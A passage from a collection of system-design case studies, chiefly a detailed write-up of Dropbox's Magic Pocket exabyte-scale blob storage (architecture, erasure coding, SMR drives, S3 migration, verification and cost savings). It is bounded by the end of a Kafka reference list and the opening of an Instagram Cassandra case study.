**Apache Kafka Documentation**

- [Kafka Papers and Presentations](https://cwiki.apache.org/confluence/display/KAFKA/Kafka+papers+and+presentations) - Apache Wiki. Comprehensive list of talks and papers
- [Consumer Design](https://docs.confluent.io/kafka/design/consumer-design.html) - Confluent. Pull-based consumer rationale

**Interviews and Podcasts**

- [Software Engineering Radio Episode 219: Apache Kafka with Jun Rao](https://se-radio.net/2015/02/episode-219-apache-kafka-with-jun-rao/) - February 2015. Design decisions discussion

---

## Dropbox Magic Pocket: Building Exabyte-Scale Blob Storage

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/real-world-case-studies/dropbox-magic-pocket
**Category:** System Design / Real-World Case Studies
**Description:** How Dropbox migrated 500+ petabytes off AWS S3 onto custom infrastructure in under two years, saving $74.6 million net while achieving higher durability than the service it replaced. Magic Pocket is a content-addressable, immutable block store built by a team of fewer than six engineers, now serving 700+ million users across 600,000+ storage drives.

# Dropbox Magic Pocket: Building Exabyte-Scale Blob Storage

How Dropbox migrated 500+ petabytes off AWS S3 onto custom infrastructure in under two years, saving $74.6 million net while achieving higher durability than the service it replaced. Magic Pocket is a content-addressable, immutable block store built by a team of fewer than six engineers, now serving 700+ million users across 600,000+ storage drives.

<figure>

![Magic Pocket's core architecture: clients interact with Edgestore for metadata, which routes to Magic Pocket frontends. Frontends consult the Block Index for placement and store blocks across three geographic zones with cross-zone replication.](./magic-pocket-s-core-architecture-clients-interact-with-edgestore-for-metadata-wh.svg)

<figcaption>Magic Pocket's core architecture: clients interact with Edgestore for metadata, which routes to Magic Pocket frontends. Frontends consult the Block Index for placement and store blocks across three geographic zones with cross-zone replication.</figcaption>
</figure>

## Abstract

Magic Pocket is a **content-addressable, immutable block store** where the key is a block's SHA-256 hash and the value is a compressed, encrypted blob up to 4 MB. The mental model has three layers:

- **Metadata layer** (Edgestore + Block Index): Maps file paths to block hashes, and block hashes to physical locations. Sharded MySQL under the hood.
- **Placement and routing layer** (Frontends + Master): Determines which cell and volume stores each block. Handles deduplication at write time via hash lookup. The Master orchestrates repair and garbage collection but holds no authoritative state---the Replication Table does.
- **Physical storage layer** (OSD nodes + Diskotech servers): 100 Shingled Magnetic Recording (SMR) drives per chassis, ~2 PB per machine, written append-only with no filesystem. Blocks start as 4x replicas (hot), then get erasure-coded to 1.5x overhead as they cool.

The design bets: immutable blocks eliminate consistency complexity, content-addressing enables deduplication, and SMR's sequential-write constraint aligns with append-only semantics. The verification system (Pocket Watch) spends over 50% of disk I/O on continuous integrity checking---an unusual choice that reflects Dropbox's stance that detecting corruption matters more than optimizing throughput.

## Context

### The System

Dropbox's core product is file synchronization and storage. By 2015, the platform served 500+ million users, making it one of the largest consumers of AWS S3 globally.

| Metric                  | Value (2015)                                       |
| ----------------------- | -------------------------------------------------- |
| Total data stored       | 500+ PB                                            |
| Users                   | 500+ million                                       |
| Primary storage backend | AWS S3                                             |
| Data growth rate        | ~40 PB/year (estimated from 2012's 40 PB baseline) |
| AWS relationship        | One of S3's largest customers                      |

### The Trigger

Storage is Dropbox's core product---not a supporting service. When your entire business is storing files, the economics of renting per-GB storage from a cloud provider diverge sharply from owning infrastructure at scale.

Three factors drove the decision:

1. **Cost**: Dropbox's S-1 filing revealed they reduced infrastructure costs by **$74.6 million net over 2016-2017** after migrating. The gross AWS bill reduction in 2016 alone was $92.5 million, offset by $53 million in new depreciation and facility costs.
2. **Control**: A custom stack allowed co-designing hardware and software for Dropbox's specific workload---immutable 4 MB blobs, write-once-read-many access patterns, extreme deduplication potential.
3. **Performance**: End-to-end optimization of network, disk I/O, and encoding strategies that S3's general-purpose design could not provide.

### Constraints

- **Team size**: Fewer than 6 engineers initially. The VP of Engineering noted they could not hire 200 engineers, so they "got the best people and created a small team."
- **Zero downtime**: Migration had to be invisible to users. No maintenance windows, no degraded service.
- **Durability guarantee**: Must match or exceed S3's 11 nines of durability.
- **Geographic distribution**: US-only data centers (colocation in West, Central, and East regions). European data remained on S3.
- **Timeline**: Prototype started summer 2013; production serving by February 2015.

## The Opportunity

### Why Not Just Optimize S3 Usage?

At Dropbox's scale, the unit economics flip. For most companies, S3's operational burden elimination justifies its per-GB premium. For Dropbox, storage is the product, not supporting infrastructure. Three properties of their workload made custom infrastructure particularly attractive:

**Immutable blocks with content-addressing.** Dropbox splits files into blocks (up to 4 MB), compresses them, and identifies each by its SHA-256 hash. A block never changes after creation. This eliminates the consistency complexity that makes general-purpose storage hard---no in-place updates, no concurrent modification conflicts, no cache invalidation.

**Write-once-read-rarely access patterns.** Over 40% of all file retrievals are for data uploaded in the last 24 hours. Over 90% of retrievals are for data less than a year old. This extreme skew means most stored data is cold, and cold storage can be optimized aggressively for density over latency.

**Massive deduplication potential.** Content-addressing means identical blocks (common across users who share files, or across versions of the same file) are stored once. At 500+ PB, even small deduplication ratios yield enormous savings.

### What S3 Could Not Provide

S3 is a general-purpose object store. It cannot:

- Allow co-design of disk firmware, server chassis, and storage software as a unified system
- Use Shingled Magnetic Recording (SMR) drives that require application-level sequential write management
- Provide erasure coding tuned to Dropbox's specific durability and read-latency trade-offs
- Enable the 50%+ I/O budget dedicated to integrity verification that Dropbox's Pocket Watch system requires

## Options Considered

### Option 1: Optimize S3 Usage

**Approach:** Negotiate better rates, use S3 storage tiers (Glacier for cold data), optimize deduplication before upload.

**Pros:**

- Zero engineering investment
- Operational burden stays with AWS

**Cons:**

- Per-GB economics still unfavorable at 500+ PB scale
- No control over hardware or storage engine optimization
- Cannot co-design for immutable-block workload

**Why not chosen:** Even with aggressive optimization, the cost differential at exabyte scale was too large. Storage is Dropbox's core product, not ancillary infrastructure.

### Option 2: Use Another Cloud Provider or Open-Source Stack

**Approach:** Migrate to a cheaper cloud provider (Google Cloud, Azure) or deploy an open-source distributed storage system (Ceph, HDFS) on leased hardware.

**Pros:**

- Faster time to market than custom-built
- Existing community and tooling

**Cons:**

- General-purpose systems carry overhead for features Dropbox does not need (mutable objects, POSIX semantics, directory hierarchies)
- Cannot optimize for immutable, content-addressed blocks
- Limited hardware co-design possibilities

**Why not chosen:** The workload is narrow enough (immutable blobs, hash-keyed, append-only) that a purpose-built system could be dramatically simpler and more efficient than any general-purpose alternative.

### Option 3: Build Custom Storage (Chosen)

**Approach:** Build a purpose-built, content-addressable block store optimized for immutable 4 MB blobs.

**Pros:**

- Hardware-software co-design (custom server chassis, SMR drives, no filesystem)
- Erasure coding and replication tuned to exact durability requirements
- 50%+ I/O budget for verification without impacting cost efficiency
- Long-term cost advantage compounds as data grows

**Cons:**

- Multi-year engineering investment
- Operational expertise must be built in-house
- Single point of organizational risk (small team)

**Why chosen:** The narrow workload (immutable blobs) meant the system could be architecturally simple despite the scale. A team of fewer than 6 engineers could build it because the design eliminated most distributed systems complexity.

### Decision Factors

| Factor                        | Optimize S3 | Alternative Stack | Custom Build             |
| ----------------------------- | ----------- | ----------------- | ------------------------ |
| Cost at 500+ PB               | High        | Medium            | Low (after amortization) |
| Hardware co-design            | No          | Limited           | Full                     |
| Time to production            | Immediate   | 6-12 months       | ~18 months               |
| Workload optimization         | None        | Partial           | Complete                 |
| Operational complexity        | Low         | Medium            | High (initially)         |
| Long-term compounding savings | No          | Partial           | Yes                      |

## Implementation

### Architecture Overview

Magic Pocket's architecture reflects a single design principle: **immutable, content-addressed blocks eliminate most distributed systems complexity**. There are no distributed transactions, no consensus protocols, no cache invalidation for data. The system is a distributed key-value store where keys are SHA-256 hashes and values are compressed, encrypted blobs.

<figure>

![Magic Pocket's data hierarchy: blocks aggregate into buckets, buckets into volumes replicated across OSDs, stored as extents within cells, organized by geographic zone.](./magic-pocket-s-data-hierarchy-blocks-aggregate-into-buckets-buckets-into-volumes.svg)

<figcaption>Magic Pocket's data hierarchy: blocks aggregate into buckets, buckets into volumes replicated across OSDs, stored as extents within cells, organized by geographic zone.</figcaption>
</figure>

| Level      | Size                | Description                                                                            |
| ---------- | ------------------- | -------------------------------------------------------------------------------------- |
| **Block**  | Up to 4 MB          | Compressed, AES-256 encrypted chunk; identified by SHA-256 hash                        |
| **Bucket** | ~1 GB               | Logical container aggregating blocks uploaded around the same time                     |
| **Volume** | One or more buckets | Replicated or erasure-coded across multiple OSD nodes                                  |
| **Extent** | 1-2 GB              | Physical on-disk unit; written append-only, immutable once sealed                      |
| **Cell**   | ~50 PB raw          | Self-contained storage cluster with its own frontends, coordinators, and storage nodes |
| **Zone**   | Multiple cells      | Geographic region (US West, Central, East)                                             |

### Core Components

#### Block Index

The Block Index is a sharded MySQL (InnoDB) cluster fronted by an RPC (Remote Procedure Call) service layer. It maps `block_hash -> (cell, bucket_id, checksum)`. The primary key is the SHA-256 hash of each block.

**Why MySQL?** At write time, the only coordination required is checking whether a block hash already exists (deduplication) and recording where it was placed. This is a simple key-value lookup and insert---exactly what sharded MySQL excels at. The immutability of blocks means no updates, no conflicting writes, and no consistency concerns beyond initial placement.

#### Replication Table

A smaller MySQL database within each cell that maps `bucket -> volume` and `volume -> (OSDs, open/closed, type, generation)`. The entire working set fits in memory for fast lookups. This is the authoritative record of where data physically lives within a cell.

**Design choice:** The Replication Table is the source of truth, not the Master coordinator. The Master is entirely soft-state---it can be restarted without losing any placement information. This avoids the complexity of distributed consensus for coordination.

#### Object Storage Devices (OSDs)

Custom storage machines running the Diskotech server chassis:

| Specification        | Value                                      |
| -------------------- | ------------------------------------------ |
| Form factor          | 4U chassis                                 |
| Drives per chassis   | ~100 Large Form Factor (LFF)               |
| Capacity per chassis | ~2 PB (at 20 TB drives)                    |
| Capacity per rack    | ~8 PB                                      |
| Memory               | 96 GB per host                             |
| CPU                  | 20 cores, 40 threads                       |
| Network              | 50 Gbps NIC                                |
| Controller           | Host Bus Adapter (HBA), no RAID controller |
| Disk access          | Direct via libzbc/libzbd, no filesystem    |

The OSD storage engine was rewritten from Go to **Rust** by Jamie Turner's team. Go's garbage collector caused unpredictable latency spikes, and the constant threat of OOM (Out of Memory) conditions required C++-level control. The Rust rewrite achieved **3-5x improvement in tail latencies** and enabled handling more disks per machine without increased CPU overhead.

> **Organizational lesson:** James Cowling later noted that the Rust components worked well and required little maintenance, but when the original authors departed, insufficient Rust expertise remained. The components continued running reliably but innovation on them slowed.

#### Master Coordinator

The cell-level coordinator handles OSD health monitoring, triggering repair operations, creating storage buckets, and orchestrating garbage collection. Critically, the Master holds **no authoritative state**---the Replication Table is the source of truth. The Master can crash and restart without data loss or placement confusion.

This design avoids Paxos, Raft, or any quorum-based consensus for the coordination layer. The trade-off: recovery after Master failure requires rebuilding soft state from the Replication Table, but this is fast since the working set fits in memory.

#### Frontends

Gateway nodes that accept storage requests, determine block placement by balancing cell load and network traffic, and route read/write commands to appropriate OSD nodes.

#### Cross-Zone Replication Daemon

Asynchronously replicates all PUTs to at least one other geographic zone within approximately **one second**. Each block exists in at least two zones, ensuring zone-level fault tolerance.

### Write Path

1. Frontend checks the Block Index for existing block (deduplication via SHA-256 hash).
2. If the block does not exist, the frontend selects a target volume balancing cell load and network traffic.
3. Issues store commands to **all OSDs in the volume**. All must `fsync` before responding---no acknowledgment until data is durable on disk.
4. Adds entry to Block Index upon success.
5. Retries with a different volume on failure.
6. Cross-zone replication daemon asynchronously replicates within ~1 second.

**Why synchronous replication within a volume?** Data loss from a partial write (acknowledged to the client but not durable on all replicas) would violate the immutability contract. By requiring all replicas to fsync before acknowledging, the system guarantees that a successful write is immediately durable at the volume's replication factor.

### Read Path

1. Frontend queries Block Index for `(cell, bucket_id)`.
2. Consults Replication Table for volume and OSD locations.
3. For **replicated volumes**: fetches from a single OSD.
4. For **erasure-coded volumes**: reconstructs from multiple OSD nodes with Volume Manager assistance.

### Erasure Coding Strategy

Magic Pocket uses a variant of Reed-Solomon erasure coding similar to Local Reconstruction Codes (LRC):

| Scheme           | Configuration                 | Storage Overhead | Use Case                              |
| ---------------- | ----------------------------- | ---------------- | ------------------------------------- |
| **Replicated**   | 4x within zone, 2x cross-zone | Up to 8x total   | Recently uploaded (hot) data          |
| **Reed-Solomon** | 6+3 (6 data, 3 parity)        | 1.5x             | Standard encoding for warm data       |
| **LRC**          | ~12+2+2                       | ~1.33x           | Optimized reads, tolerates 3 failures |

**Why start with replication?** Over 40% of file retrievals target data uploaded in the last 24 hours. High-redundancy replication ensures fast single-OSD reads for the hottest data. As blocks cool (access frequency drops), they are aggregated and erasure-coded---trading read simplicity for storage efficiency. This tiered approach means the system never pays the full 8x replication cost for the 90%+ of data that is rarely accessed.

### Cold Storage Optimization

Introduced around 2019, the cold tier uses **fragment-based striping across geographic regions**:

- **2+1 scheme**: A block is split into 2 data fragments plus 1 XOR parity fragment, each placed in a different geographic zone.
- Storage overhead: **1.5x** (compared to 2x+ for warm tier cross-zone replication).
- **25% disk reduction** with 3 zones; 33% savings with a 4-region 3+1 model.
- Reads issue requests to all regions in parallel, use the fastest two responses, and cancel the rest.

Counter-intuitively, the 99th percentile read latency for cold storage was **lower** than warm storage. The parallel cross-region reads with hedged cancellation effectively reduced tail latency, even though individual region latency was higher.

### SMR Drive Deployment

Dropbox was the first major technology company to deploy Shingled Magnetic Recording (SMR) drives at petabyte scale. SMR drives overlap write tracks like roof shingles, increasing areal density but requiring sequential writes aligned to zone boundaries.

**Why this is a perfect fit:** Magic Pocket's append-only, immutable write pattern naturally produces sequential writes. The OSD daemon manages sequential zones directly via libzbc/libzbd, bypassing the filesystem entirely.

| Milestone                           | Date           |
| ----------------------------------- | -------------- |
| First petabyte-scale SMR deployment | June 2018      |
| All new drives deployed as SMR      | September 2018 |
| ~40% of total fleet on SMR          | 2019           |
| 90% of HDD fleet on SMR             | 2022           |

**Drive capacity progression:** 4 TB -> 8 TB -> 14 TB -> 18 TB -> 20 TB -> 26 TB (as of 2023).

**Power efficiency gains:** 5-6x reduction in power per terabyte since initial 4 TB deployment. Latest 18-20 TB drives operate at ~0.30 watts/TB idle and ~0.50 watts/TB under random reads. The sixth-generation server requires **5 fewer megawatts** serving one exabyte compared to the fourth generation.

### Encryption

- Data at rest uses **AES-256 encryption**.
- Each block has its own **block encryption key (BEK)**.
- BEKs are wrapped with versioned global **key encryption keys (KEKs)**.
- Key rotation happens at the metadata level without rewriting encrypted data.
- Deletion uses **crypto-shredding**: deleting encryption metadata renders the encrypted block permanently inaccessible. Physical disk space is reclaimed asynchronously.

### Network Architecture

Dropbox's data center network evolved to a **quad-plane, 3-tier Clos fabric**:

| Specification    | Value                                |
| ---------------- | ------------------------------------ |
| Racks per pod    | 16                                   |
| Pods per fabric  | 16 (expandable to 31 for ~500 racks) |
| Link speed       | 100G everywhere                      |
| Oversubscription | 1:1 (non-blocking)                   |
| Routing          | eBGP with ECMP                       |
| Uplink per rack  | 4x100G                               |

The non-blocking fabric is essential for Magic Pocket's repair operations, which must move terabytes of data across hundreds of OSD nodes simultaneously when a drive fails.

### SSD Cache Removal (2021-2022)

Originally, Magic Pocket used an NVMe SSD caching layer for block metadata on each host. As drive density increased (14-20 TB per disk, 100 drives per host), the single NVMe SSD became a bottleneck at 15-20 Gbps write throughput.

**Solution:** Store both metadata and raw data inline on SMR disks using a new extent format that serializes blocks with their metadata directly to disk.

| Metric                       | Before   | After              |
| ---------------------------- | -------- | ------------------ |
| Peak write throughput        | Baseline | 2-2.5x improvement |
| Production write throughput  | Baseline | 15-20% improvement |
| P95 write latency under load | Baseline | 15-20% improvement |
| Monthly SSD failure repairs  | 8-10     | 0                  |

Completed fleet-wide by Q1 2022.

## Migration

### Timeline

| Date              | Milestone                                                          |
| ----------------- | ------------------------------------------------------------------ |
| Summer 2013       | Small team (fewer than 6 engineers) begins coding prototype        |
| August 2014       | **Dark launch**: Mirroring data from 2 regional locations          |
| February 27, 2015 | **Launch**: Production serving exclusively from own infrastructure |
| April 30, 2015    | **BASE Jump**: Scaling phase begins                                |
| October 7, 2015   | **90% milestone**: 90% of all user data on custom infrastructure   |
| March 14, 2016    | Public announcement via engineering blog                           |

### Migration Strategy

**Dual-write approach:** Every uploaded file was simultaneously saved to both AWS S3 and Magic Pocket. This allowed instant rollback at the file level if Magic Pocket returned incorrect data.

**Peak transfer rate:** Over **half a terabit per second** on the internal network during bulk migration.

**Gradual cutover:** The team scaled from double-digit-petabyte prototypes to a multi-exabyte system within approximately 6 months.

### Post-Migration

Approximately 10% of data remained on AWS S3---primarily for European users and regions where Dropbox lacked physical data center presence. In 2020, Dropbox built the **Object Store** abstraction layer, providing a unified API (PUT, GET, DELETE, LIST) that routes requests transparently between S3 and Magic Pocket. Object Store added write batching, range-based reads, and encryption, while also enabling deprecation of most HDFS (Hadoop Distributed File System) usage by late 2021.

## Verification: Pocket Watch

More than **50% of the workload on disks and databases** is internal verification traffic. This is an unusual design choice---most storage systems optimize for user-facing throughput. Dropbox chose to dedicate half their I/O capacity to catching corruption before it becomes data loss.

<figure>

![Pocket Watch's five verification subsystems, each targeting a different failure mode.](./pocket-watch-s-five-verification-subsystems-each-targeting-a-different-failure-m.svg)

<figcaption>Pocket Watch's five verification subsystems, each targeting a different failure mode.</figcaption>
</figure>

### Disk Scrubber

Continuously reads back every bit on disk and validates against checksums. Full disk sweep every **1-2 weeks**, with recently modified areas scanned more frequently. Automatically schedules re-replication and disk remediation upon detecting corruption.

### Metadata Scanner

Iterates through the Block Index at approximately **1 million blocks per second**, confirming that blocks exist on their designated storage nodes. Full scans complete roughly weekly per zone.

### Storage Watcher

Independent black-box verification that samples **1% of all written blocks**. Retrieves each sampled block after intervals of 1 minute, 1 hour, 1 day, 1 week, and 1 month. This multi-interval approach detects end-to-end failures that manifest at different timescales---immediate write failures, short-term disk degradation, and long-term bit rot.

### Trash Inspector and Extent Referee

Verify that deleted extents were safely migrated before permanent removal. Maintain a temporary "trash" storage for an additional day after inspection, providing a last-chance recovery window.

### Cross-Zone Verifier

Confirms that all user files exist in the appropriate storage zones by walking the File Journal system. Catches cross-zone replication gaps that the one-second async replication might miss during transient failures.

## Repair Operations

When an OSD goes offline for more than 15 minutes:

1. Master closes all volumes on the failed OSD.
2. Builds a reconstruction plan distributing load across **hundreds of OSD nodes** to avoid creating a new hotspot.
3. Performs data transfer with erasure coding reconstruction where needed.
4. Increments the generation number on new volumes (enabling stale-read detection if the old OSD comes back online with outdated data).
5. Updates the Replication Table to commit changes atomically.

**Repair rate:** 4 extents per second (each 1-2 GB).

**Repair SLA:** Less than 48 hours for a full OSD reconstruction.

**Auto-repair volume:** Hundreds of hardware failures are repaired automatically per day across the fleet.

## Disaster Readiness

On November 18, 2021, Dropbox physically unplugged their San Jose (SJC) data center from the network for 30 minutes. Three on-site technicians physically disconnected optical fiber at three colocation facilities.

**Result:** Zero impact to global availability. The active-active design across three zones handled the loss transparently. Recovery Time Objective (RTO) improved by more than an order of magnitude compared to pre-2020 capabilities.

This was not a simulated failover---it was a real disconnection of production infrastructure serving user traffic.

## Outcome

### Financial Impact

| Year      | Gross AWS Savings | New Infra Costs (depreciation, facilities) | Net Savings |
| --------- | ----------------- | ------------------------------------------ | ----------- |
| 2016      | $92.5M            | $53.0M                                     | $39.5M      |
| 2017      | (continued)       | (continued)                                | $35.1M      |
| **Total** | --                | --                                         | **$74.6M**  |

Source: Dropbox S-1 filing (2018).

### Durability and Availability

| Metric                                | Value              |
| ------------------------------------- | ------------------ |
| Theoretical durability (Markov model) | 27 nines           |
| Published durability guarantee        | Over 12 nines      |
| Availability                          | 99.99%             |
| Cross-zone replication latency        | ~1 second          |
| Repair SLA (full OSD)                 | Less than 48 hours |

### Scale (2023-2024)

| Metric                          | Value                       |
| ------------------------------- | --------------------------- |
| Storage drives deployed         | 600,000+                    |
| SMR fleet percentage            | ~90%                        |
| Users served                    | 700+ million                |
| Request throughput              | Tens of millions per second |
| Auto-repaired hardware failures | Hundreds per day            |
| Geographic zones                | 3 US + AWS for Europe       |
| Latest drive capacity           | 26 TB                       |
| Hardware generation             | 6th (7th in development)    |
| Next-gen NIC requirement        | 200G per host               |

### Unexpected Benefits

- **SMR alignment:** The append-only, immutable write pattern turned out to be ideal for SMR drives, enabling Dropbox to adopt higher-density drives years before competitors.
- **Cold storage latency improvement:** Cross-region parallel reads with hedged cancellation produced lower P99 latency than warm storage single-region reads.
- **Crypto-shredding simplification:** The per-block encryption key design meant data deletion required only metadata deletion, not physical overwrite---simplifying compliance with data deletion regulations.

### Remaining Limitations

- **US-only custom infrastructure:** European data still relies on AWS S3 (~10% of total).
- **Rust expertise concentration:** The OSD storage engine's Rust codebase remained robust but innovation-constrained after original authors departed.
- **Single-vendor risk:** The Diskotech server design creates dependency on specific drive vendors for SMR qualification and firmware collaboration.

## Lessons Learned

### Technical Lessons

#### 1. Narrow Workloads Enable Radical Simplification

**The insight:** Magic Pocket avoids distributed consensus, distributed transactions, and cache invalidation for data---the three hardest problems in distributed storage. It can do this because blocks are immutable and content-addressed. Fewer than 6 engineers built a system that replaced the world's most sophisticated object store.

**How it applies elsewhere:**

- Before building general-purpose infrastructure, ask whether your workload has properties that eliminate entire categories of complexity.
- Append-only, immutable data models are dramatically simpler to distribute than mutable ones.

**Warning signs to watch for:**

- Your storage system handles consistency edge cases that your actual data model does not require.
- You are paying for POSIX semantics or mutable-object support that your application never uses.

#### 2. Hardware-Software Co-Design Compounds Over Time

**The insight:** By designing the Diskotech chassis, choosing SMR drives, writing a custom OSD engine without a filesystem, and building a non-blocking Clos network, Dropbox created an integrated stack where each layer amplifies the others. The power efficiency gains (5-6x per TB) and the SSD cache removal are examples of optimizations only possible with full-stack control.

**How it applies elsewhere:**

- At sufficient scale, the cost of understanding hardware intimately pays for itself.
- General-purpose layers (filesystems, RAID controllers, general-purpose SSDs) add overhead and limit optimization options.

#### 3. Verification is Worth Half Your I/O Budget

**The insight:** Pocket Watch's five verification subsystems consume over 50% of disk and database I/O. This seems wasteful until you consider that undetected corruption at exabyte scale would mean certain data loss. The cost of verification is the cost of maintaining durability guarantees.

**How it applies elsewhere:**

- Durability claims without continuous verification are aspirational, not actual.
- Multi-interval sampling (1 minute to 1 month) catches failure modes that single-point-in-time checks miss.

**Warning signs to watch for:**

- Your durability SLA depends on assumptions about disk reliability that you are not actively validating.
- You discover corruption through user reports rather than automated systems.

### Process Lessons

#### 1. Small Teams Can Build at Extreme Scale

**What they'd do differently:** James Cowling later reflected that the Rust rewrite, while technically successful, created a skills gap when original authors departed. A small team building critical infrastructure must plan for knowledge transfer from day one.

### Organizational Lessons

#### 1. Storage Economics Change the Build-vs-Buy Equation

When storage is your product (not a supporting service), the economics of building custom infrastructure become favorable at a lower scale threshold than most engineers assume. Dropbox's $74.6M net savings in two years funded the ongoing engineering investment many times over.

## Edgestore and Panda: The Metadata Layer

Magic Pocket stores blocks, but mapping files to blocks requires a metadata system. Dropbox built **Edgestore**, a strongly consistent, read-optimized, horizontally scalable, geo-distributed metadata store.

- **Storage engine:** MySQL (InnoDB)
- **Data model:** Entities (objects with attributes) and Associations (relationships between entities)
- **Architecture:** Language-specific SDKs (Go, Python) -> stateless Cores -> Caching Layer -> Engines -> MySQL
- **Consistency:** Strong by default (cache invalidation on writes); eventual consistency optional
- **Scale:** Thousands of machines, several trillion entries, millions of queries per second, 5 nines of availability

In later years, Dropbox built **Panda**, a petabyte-scale transactional key-value store sitting between Edgestore and sharded MySQL. Panda provides Atomicity, Consistency, Isolation, Durability (ACID) transactions with Multi-Version Concurrency Control (MVCC), eliminating the fleet-doubling expansion model of traditional MySQL sharding.

## Future Direction: HAMR

Dropbox is preparing for **Heat-Assisted Magnetic Recording (HAMR)** drives, which temporarily heat the recording media to 450 degrees Celsius during writes, enabling smaller thermally stable grains and projected capacities of 50+ TB per drive. The transition from SMR to HAMR represents the next major hardware-software co-design cycle for Magic Pocket.

## Conclusion

Magic Pocket's success rests on a single architectural insight: immutable, content-addressed blocks eliminate the hardest problems in distributed storage. This allowed a team of fewer than six engineers to build a system that replaced AWS S3, saved $74.6 million in two years, and now serves 700+ million users across 600,000+ drives.

The design decisions compound: immutability enables append-only writes, append-only writes enable SMR drives, SMR drives enable higher density, higher density drives justify custom chassis, custom chassis justify custom networks. Each choice opens the next optimization.

The most counterintuitive decision---spending 50%+ of I/O on verification rather than throughput---reflects a maturity about durability that distinguishes production storage systems from academic designs. At exabyte scale, undetected corruption is not a risk to be modeled; it is a certainty to be continuously hunted.

## Appendix

### Prerequisites

- Distributed storage fundamentals (replication, erasure coding)
- Content-addressable storage concepts
- Basic understanding of disk technologies (HDD, SSD, SMR)

### Terminology

| Term                 | Definition                                                                                                              |
| -------------------- | ----------------------------------------------------------------------------------------------------------------------- |
| **SMR**              | Shingled Magnetic Recording---HDD technology that overlaps write tracks for higher density, requiring sequential writes |
| **LRC**              | Local Reconstruction Codes---erasure coding variant enabling local repair without reading all shards                    |
| **OSD**              | Object Storage Device---a Magic Pocket storage node with ~100 drives                                                    |
| **Extent**           | 1-2 GB append-only physical storage unit on disk                                                                        |
| **Cell**             | ~50 PB self-contained storage cluster within a zone                                                                     |
| **Crypto-shredding** | Data deletion by destroying encryption keys rather than overwriting ciphertext                                          |
| **HAMR**             | Heat-Assisted Magnetic Recording---next-generation HDD technology using laser heating                                   |
| **Clos fabric**      | Non-blocking network topology providing full bisection bandwidth                                                        |
| **BEK/KEK**          | Block Encryption Key / Key Encryption Key---two-layer encryption hierarchy                                              |

### Summary

- Magic Pocket is a content-addressable, immutable block store using SHA-256 hashes as keys, built by fewer than 6 engineers.
- The system migrated 500+ PB from AWS S3 using a dual-write strategy over ~18 months, saving $74.6M net in the first two years.
- Data starts as 4x replicated (hot), then gets erasure-coded to 1.33-1.5x overhead as access frequency drops.
- Pocket Watch verification consumes 50%+ of disk I/O across five subsystems, continuously validating durability at exabyte scale.
- Custom Diskotech servers with 100 SMR drives per chassis (~2 PB per machine) enable 5-6x power efficiency gains per TB generation over generation.
- The narrow workload (immutable blobs) eliminates distributed consensus, transactions, and cache invalidation, making extreme scale tractable for a small team.

### References

- [Inside the Magic Pocket](https://dropbox.tech/infrastructure/inside-the-magic-pocket) - Architecture deep-dive by James Cowling (2016)
- [Scaling to Exabytes and Beyond](https://dropbox.tech/infrastructure/magic-pocket-infrastructure) - Migration announcement and timeline (2016)
- [Pocket Watch: Verifying Exabytes of Data](https://dropbox.tech/infrastructure/pocket-watch) - Durability verification systems (2016)
- [Extending Magic Pocket Innovation with SMR](https://dropbox.tech/infrastructure/extending-magic-pocket-innovation-with-the-first-petabyte-scale-smr-drive-deployment) - First petabyte-scale SMR deployment (2018)
- [How We Optimized Magic Pocket for Cold Storage](https://dropbox.tech/infrastructure/how-we-optimized-magic-pocket-for-cold-storage) - Cold tier design (2019)
- [SMR: What We Learned in Our First Year](https://dropbox.tech/infrastructure/smr-what-we-learned-in-our-first-year) - SMR lessons (2019)
- [Four Years of SMR Storage](https://dropbox.tech/infrastructure/four-years-of-smr-storage-what-we-love-and-whats-next) - SMR evolution and HAMR preview (2022)
- [Increasing Write Throughput by Removing SSD Cache Disks](https://dropbox.tech/infrastructure/increasing-magic-pocket-write-throughput-by-removing-our-ssd-cache-disks) - SSD cache removal (2022)
- [Object Store: Cloud Storage Abstraction](https://dropbox.tech/infrastructure/abstracting-cloud-storage-backends-with-object-store) - Unified storage API (2023)
- [(Re)Introducing Edgestore](https://dropbox.tech/infrastructure/reintroducing-edgestore) - Metadata system architecture
- [Panda: Petabyte-Scale Transactional Key-Value Store](https://dropbox.tech/infrastructure/panda-metadata-stack-petabyte-scale-transactional-key-value-store) - Metadata evolution
- [Disaster Readiness Test: Failover Blackhole SJC](https://dropbox.tech/infrastructure/disaster-readiness-test-failover-blackhole-sjc) - Data center disconnection test (2021)
- [The Scalable Fabric Behind Our Growing Data Center Network](https://dropbox.tech/infrastructure/the-scalable-fabric-behind-our-growing-data-center-network) - Network architecture
- [Dropbox S-1 Filing](https://www.sec.gov/Archives/edgar/data/1467623/000119312518055809/d451946ds1.htm) - Financial data and infrastructure cost savings (2018)
- [Magic Pocket: Dropbox's Exabyte-Scale Blob Storage System (QCon 2022)](https://www.infoq.com/presentations/magic-pocket-dropbox/) - Andrew Fong & Akhil Gupta conference talk
- [Dropbox Magic Pocket at Exabyte Scale (InfoQ 2023)](https://www.infoq.com/articles/dropbox-magic-pocket-exabyte-storage/) - Detailed architecture article by Facundo Agriel
- [Software Engineering Daily: Dropbox's Magic Pocket with James Cowling (2016)](https://softwareengineeringdaily.com/2016/05/17/dropboxs-magic-pocket-james-cowling/) - Podcast interview
- [SE Radio Episode 285: James Cowling on Distributed Storage (2017)](https://se-radio.net/2017/03/se-radio-episode-285-james-cowling-on-dropboxs-distributed-storage-system/) - Podcast interview
- [Western Digital Case Study: Dropbox Magic Pocket with SMR HDDs](https://documents.westerndigital.com/content/dam/doc-library/en_us/assets/public/western-digital/collateral/case-study/case-study-dropbox-magic-pocket-achieves-exabyte-scale-with-smr-hdds.pdf) - Vendor case study

---

## Instagram: From Redis to Cassandra and the Rocksandra Storage Engine

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/real-world-case-studies/instagram-cassandra-migration
**Category:** System Design / Real-World Case Studies
**Description:** How Instagram migrated critical workloads from Redis to Apache Cassandra, achieving 75% cost savings, then engineered a custom RocksDB-based storage engine to eliminate JVM garbage collection stalls and reduce P99 read latency by 10x. A seven-year evolution from 12 nodes to 1,000+ nodes serving billions of operations daily.

# Instagram: From Redis to Cassandra and the Rocksandra Storage Engine

How Instagram migrated critical workloads from Redis to Apache Cassandra, achieving 75% cost savings, then engineered a custom RocksDB-based storage engine to eliminate JVM garbage collection stalls and reduce P99 read latency by 10x. A seven-year evolution from 12 nodes to 1,000+ nodes serving billions of operations daily.

<figure>

